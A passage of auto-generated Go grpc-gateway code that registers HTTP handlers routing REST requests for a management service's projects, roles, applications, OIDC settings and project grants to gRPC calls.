pattern_ManagementService_SearchProjectMembers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchProjectMembers_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectMembers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddProjectMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddProjectMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddProjectMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeProjectMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ChangeProjectMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeProjectMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveProjectMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjectRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchProjectRoles_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddProjectRole_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_BulkAddProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_BulkAddProjectRole_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_BulkAddProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ChangeProjectRole_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectRole_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveProjectRole_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectRole_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchApplications_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchApplications_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchApplications_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ApplicationByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ApplicationByID_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ApplicationByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ApplicationChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ApplicationChanges_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ApplicationChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateOIDCApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateOIDCApplication_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateOIDCApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateApplication_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeactivateApplication_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ReactivateApplication_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveApplication_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveApplication_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveApplication_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateApplicationOIDCConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateApplicationOIDCConfig_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateApplicationOIDCConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_RegenerateOIDCClientSecret_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RegenerateOIDCClientSecret_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RegenerateOIDCClientSecret_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjectGrants_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchProjectGrants_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectGrants_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ProjectGrantByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ProjectGrantByID_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ProjectGrantByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_CreateProjectGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_UpdateProjectGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_DeactivateProjectGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ReactivateProjectGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveProjectGrant_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetProjectGrantMemberRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetProjectGrantMemberRoles_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetProjectGrantMemberRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjectGrantMembers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_SearchProjectGrantMembers_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectGrantMembers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddProjectGrantMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_AddProjectGrantMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddProjectGrantMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeProjectGrantMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_ChangeProjectGrantMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeProjectGrantMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectGrantMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_RemoveProjectGrantMember_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectGrantMember_0(ctx, mux, outboundMarshaler, 